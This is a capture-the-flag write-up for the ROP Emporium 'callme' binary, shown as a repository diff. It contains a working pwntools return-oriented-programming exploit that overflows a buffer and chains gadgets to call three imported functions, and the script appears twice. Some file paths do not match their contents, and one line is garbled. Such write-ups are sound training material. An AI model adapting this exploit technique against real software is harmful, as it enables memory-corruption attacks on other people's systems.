callme challenge

Author: cynops

Rop-Emporium/callme/Images/flag.png

@@ -0,0 +1,67 @@
+# callme
+
+> Reliably make consecutive calls to imported functions. Use some new techniques and learn about the Procedure Linkage Table.
+> Click below to download the binary.
+>
+> Url: https://ropemporium.com/challenge/callme.html
+
+
+
+### x64 Solution
+
+We must call **callme_one(), callme_two()** and **callme_three()** in that order, each with the arguments 1,2,3 e.g. **callme_one(1,2,3)** to print the flag
+
+![](Images/functions.png)
+
+
+
+**x64 Calling Convention**
+
+- First argument: `rdi`
+- Second argument: `rsi`
+- Third argument: `rdx`
+
+
+
+```bash
+~$ ropper -f callme64 > callme64-gadgets.txt
+```
+
+![](Images/gadget.png)
+
+
+
+```python
+from pwn import *
+
+elf = ELF('./callme64')
+
+context.terminal=['tmux','sp','-h']
+#context.log_level='DEBUG'
+
+io=process(elf.path)
+payload= flat( 'A'*40 ,
+ 0x401ab0, #0x0000000000401ab0: pop rdi; pop rsi; pop rdx; ret;
+ 1, #argument 1
+ 2, # argument 2
+ 3, # argument 3
+ elf.sym['callme_one'],
+ 0x401ab0, #0x0000000000401ab0: pop rdi; pop rsi; pop rdx; ret;
+ 1,
+ 2,
+ 3,
+ elf.sym['callme_two'],
+ 0x401ab0, #0x0000000000401ab0: pop rdi; pop rsi; pop rdx; ret;
+ 1,
+ 2,
+ 3,
+ elf.sym['callme_three'],
+ endianness='little',word_size=64,sign=False)
+
+io.recvuntil('> ')
+io.sendline(payload)
+io.interactive()
+```
+
+![](Images/flag.png)
+

Rop-Emporium/callme/Images/functions.png

@@ -0,0 +1 @@
+SMSA~gXxekhieactt`L''tnl|E}p|y>]!

Rop-Emporium/callme/Images/gadget.png

@@ -0,0 +1,29 @@
+from pwn import *
+
+elf = ELF('./callme64')
+
+context.terminal=['tmux','sp','-h']
+#context.log_level='DEBUG'
+
+io=process(elf.path)
+payload= flat( 'A'*40 ,
+ 0x401ab0, #0x0000000000401ab0: pop rdi; pop rsi; pop rdx; ret;
+ 1, #argument 1
+ 2, # argument 2
+ 3, # argument 3
+ elf.sym['callme_one'],
+ 0x401ab0, #0x0000000000401ab0: pop rdi; pop rsi; pop rdx; ret;
+ 1,
+ 2,
+ 3,
+ elf.sym['callme_two'],
+ 0x401ab0, #0x0000000000401ab0: pop rdi; pop rsi; pop rdx; ret;
+ 1,
+ 2,
+ 3,
+ elf.sym['callme_three'],
+ endianness='little',word_size=64,sign=False)
+
+io.recvuntil('> ')
+io.sendline(payload)
+io.interactive()

Rop-Emporium/callme/README.md

@@ -0,0 +1,2 @@
+

+

Rop-Emporium/callme/callme64

@@ -0,0 +1 @@
+